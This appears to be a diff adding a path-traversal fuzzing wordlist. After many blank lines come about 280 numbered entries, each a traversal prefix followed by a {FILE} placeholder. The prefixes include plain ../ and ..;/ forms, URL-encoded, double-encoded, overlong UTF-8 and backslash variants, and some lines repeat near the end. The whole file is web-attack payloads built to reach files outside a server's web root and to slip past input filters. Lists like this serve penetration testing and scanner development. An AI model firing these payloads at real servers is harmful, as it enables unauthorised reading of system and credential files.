 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ../{FILE}
2
+ ../../{FILE}
3
+ ../../../{FILE}
4
+ ../../../../{FILE}
5
+ ../../../../../{FILE}
6
+ ../../../../../../{FILE}
7
+ ../../../../../../../{FILE}
8
+ ../../../../../../../../{FILE}
9
+ ..;/{FILE}
10
+ ..;/..;/{FILE}
11
+ ..;/..;/..;/{FILE}
12
+ ..;/..;/..;/..;/{FILE}
13
+ ..;/..;/..;/..;/..;/{FILE}
14
+ ..;/..;/..;/..;/..;/..;/{FILE}
15
+ ..;/..;/..;/..;/..;/..;/..;/{FILE}
16
+ ..;/..;/..;/..;/..;/..;/..;/..;/{FILE}
17
+ ..%2f{FILE}
18
+ ..%2f..%2f{FILE}
19
+ ..%2f..%2f..%2f{FILE}
20
+ ..%2f..%2f..%2f..%2f{FILE}
21
+ ..%2f..%2f..%2f..%2f..%2f{FILE}
22
+ ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
23
+ ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
24
+ ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
25
+ %2e%2e/{FILE}
26
+ %2e%2e/%2e%2e/{FILE}
27
+ %2e%2e/%2e%2e/%2e%2e/{FILE}
28
+ %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
29
+ %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
30
+ %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
31
+ %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
32
+ %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}
33
+ %2e%2e%2f{FILE}
34
+ %2e%2e%2f%2e%2e%2f{FILE}
35
+ %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
36
+ %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
37
+ %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
38
+ %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
39
+ %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
40
+ %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}
41
+ ..%252f{FILE}
42
+ ..%252f..%252f{FILE}
43
+ ..%252f..%252f..%252f{FILE}
44
+ ..%252f..%252f..%252f..%252f{FILE}
45
+ ..%252f..%252f..%252f..%252f..%252f{FILE}
46
+ ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}
47
+ ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}
48
+ ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}
49
+ %252e%252e/{FILE}
50
+ %252e%252e/%252e%252e/{FILE}
51
+ %252e%252e/%252e%252e/%252e%252e/{FILE}
52
+ %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
53
+ %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
54
+ %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
55
+ %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
56
+ %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}
57
+ %252e%252e%252f{FILE}
58
+ %252e%252e%252f%252e%252e%252f{FILE}
59
+ %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
60
+ %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
61
+ %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
62
+ %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
63
+ %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
64
+ %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}
65
+ ..\{FILE}
66
+ ..\..\{FILE}
67
+ ..\..\..\{FILE}
68
+ ..\..\..\..\{FILE}
69
+ ..\..\..\..\..\{FILE}
70
+ ..\..\..\..\..\..\{FILE}
71
+ ..\..\..\..\..\..\..\{FILE}
72
+ ..\..\..\..\..\..\..\..\{FILE}
73
+ ..%255c{FILE}
74
+ ..%255c..%255c{FILE}
75
+ ..%255c..%255c..%255c{FILE}
76
+ ..%255c..%255c..%255c..%255c{FILE}
77
+ ..%255c..%255c..%255c..%255c..%255c{FILE}
78
+ ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}
79
+ ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}
80
+ ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}
81
+ ..%5c..%5c{FILE}
82
+ ..%5c..%5c..%5c{FILE}
83
+ ..%5c..%5c..%5c..%5c{FILE}
84
+ ..%5c..%5c..%5c..%5c..%5c{FILE}
85
+ ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}
86
+ ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}
87
+ ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}
88
+ %2e%2e\{FILE}
89
+ %2e%2e\%2e%2e\{FILE}
90
+ %2e%2e\%2e%2e\%2e%2e\{FILE}
91
+ %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
92
+ %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
93
+ %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
94
+ %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
95
+ %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}
96
+ %2e%2e%5c{FILE}
97
+ %2e%2e%5c%2e%2e%5c{FILE}
98
+ %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
99
+ %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
100
+ %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
101
+ %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
102
+ %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
103
+ %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}
104
+ %252e%252e\{FILE}
105
+ %252e%252e\%252e%252e\{FILE}
106
+ %252e%252e\%252e%252e\%252e%252e\{FILE}
107
+ %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
108
+ %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
109
+ %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
110
+ %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
111
+ %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}
112
+ %252e%252e%255c{FILE}
113
+ %252e%252e%255c%252e%252e%255c{FILE}
114
+ %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
115
+ %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
116
+ %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
117
+ %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
118
+ %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
119
+ %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}
120
+ ..%c0%af{FILE}
121
+ ..%c0%af..%c0%af{FILE}
122
+ ..%c0%af..%c0%af..%c0%af{FILE}
123
+ ..%c0%af..%c0%af..%c0%af..%c0%af{FILE}
124
+ ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}
125
+ ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}
126
+ ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}
127
+ ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}
128
+ %c0%ae%c0%ae/{FILE}
129
+ %c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}
130
+ %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}
131
+ %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}
132
+ %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}
133
+ %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}
134
+ %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}
135
+ %c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}
136
+ %c0%ae%c0%ae%c0%af{FILE}
137
+ %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}
138
+ %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}
139
+ %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}
140
+ %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}
141
+ %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}
142
+ %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}
143
+ %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}
144
+ ..%25c0%25af{FILE}
145
+ ..%25c0%25af..%25c0%25af{FILE}
146
+ ..%25c0%25af..%25c0%25af..%25c0%25af{FILE}
147
+ ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}
148
+ ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}
149
+ ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}
150
+ ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}
151
+ ..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}
152
+ %25c0%25ae%25c0%25ae/{FILE}
153
+ %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}
154
+ %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}
155
+ %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}
156
+ %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}
157
+ %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}
158
+ %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}
159
+ %25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}
160
+ %25c0%25ae%25c0%25ae%25c0%25af{FILE}
161
+ %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}
162
+ %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}
163
+ %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}
164
+ %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}
165
+ %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}
166
+ %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}
167
+ %25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}
168
+ ..%c1%9c{FILE}
169
+ ..%c1%9c..%c1%9c{FILE}
170
+ ..%c1%9c..%c1%9c..%c1%9c{FILE}
171
+ ..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}
172
+ ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}
173
+ ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}
174
+ ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}
175
+ ..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}
176
+ %c0%ae%c0%ae\{FILE}
177
+ %c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}
178
+ %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}
179
+ %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}
180
+ %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}
181
+ %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}
182
+ %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}
183
+ %c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\%c0%ae%c0%ae\{FILE}
184
+ %c0%ae%c0%ae%c1%9c{FILE}
185
+ %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}
186
+ %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}
187
+ %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}
188
+ %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}
189
+ %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}
190
+ %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}
191
+ %c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}
192
+ ..%25c1%259c{FILE}
193
+ ..%25c1%259c..%25c1%259c{FILE}
194
+ ..%25c1%259c..%25c1%259c..%25c1%259c{FILE}
195
+ ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}
196
+ ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}
197
+ ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}
198
+ ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}
199
+ ..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c..%25c1%259c{FILE}
200
+ %25c0%25ae%25c0%25ae\{FILE}
201
+ %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}
202
+ %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}
203
+ %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}
204
+ %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}
205
+ %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}
206
+ %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}
207
+ %25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\%25c0%25ae%25c0%25ae\{FILE}
208
+ %25c0%25ae%25c0%25ae%25c1%259c{FILE}
209
+ %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}
210
+ %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}
211
+ %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}
212
+ %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}
213
+ %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}
214
+ %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}
215
+ %25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c%25c0%25ae%25c0%25ae%25c1%259c{FILE}
216
+ ..%%32%66{FILE}
217
+ ..%%32%66..%%32%66{FILE}
218
+ ..%%32%66..%%32%66..%%32%66{FILE}
219
+ ..%%32%66..%%32%66..%%32%66..%%32%66{FILE}
220
+ ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}
221
+ ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}
222
+ ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}
223
+ ..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66..%%32%66{FILE}
224
+ %%32%65%%32%65/{FILE}
225
+ %%32%65%%32%65/%%32%65%%32%65/{FILE}
226
+ %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
227
+ %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
228
+ %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
229
+ %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
230
+ %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
231
+ %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
232
+ %%32%65%%32%65%%32%66{FILE}
233
+ %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}
234
+ %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}
235
+ %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}
236
+ %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}
237
+ %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}
238
+ %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}
239
+ %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66{FILE}
240
+ ..%%35%63{FILE}
241
+ ..%%35%63..%%35%63{FILE}
242
+ ..%%35%63..%%35%63..%%35%63{FILE}
243
+ ..%%35%63..%%35%63..%%35%63..%%35%63{FILE}
244
+ ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}
245
+ ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}
246
+ ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}
247
+ ..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63{FILE}
248
+ %%32%65%%32%65/{FILE}
249
+ %%32%65%%32%65/%%32%65%%32%65/{FILE}
250
+ %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
251
+ %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
252
+ %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
253
+ %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
254
+ %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
255
+ %%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/{FILE}
256
+ %%32%65%%32%65%%35%63{FILE}
257
+ %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}
258
+ %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}
259
+ %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}
260
+ %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}
261
+ %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}
262
+ %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}
263
+ %%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63{FILE}
264
+ ../{FILE}
265
+ ../../{FILE}
266
+ ../../../{FILE}
267
+ ../../../../{FILE}
268
+ ../../../../../{FILE}
269
+ ../../../../../../{FILE}
270
+ ../../../../../../../{FILE}
271
+ ../../../../../../../../{FILE}
272
+ ..%2f{FILE}
273
+ ..%2f..%2f{FILE}
274
+ ..%2f..%2f..%2f{FILE}
275
+ ..%2f..%2f..%2f..%2f{FILE}
276
+ ..%2f..%2f..%2f..%2f..%2f{FILE}
277
+ ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
278
+ ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
279
+ ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}
280
+ %2e%2e/{FILE}
281
+ %2e%2e/%2e%2e/{FILE}
282
+ %2e%2e/%2e%2e/%2e%2e/{FILE}
283
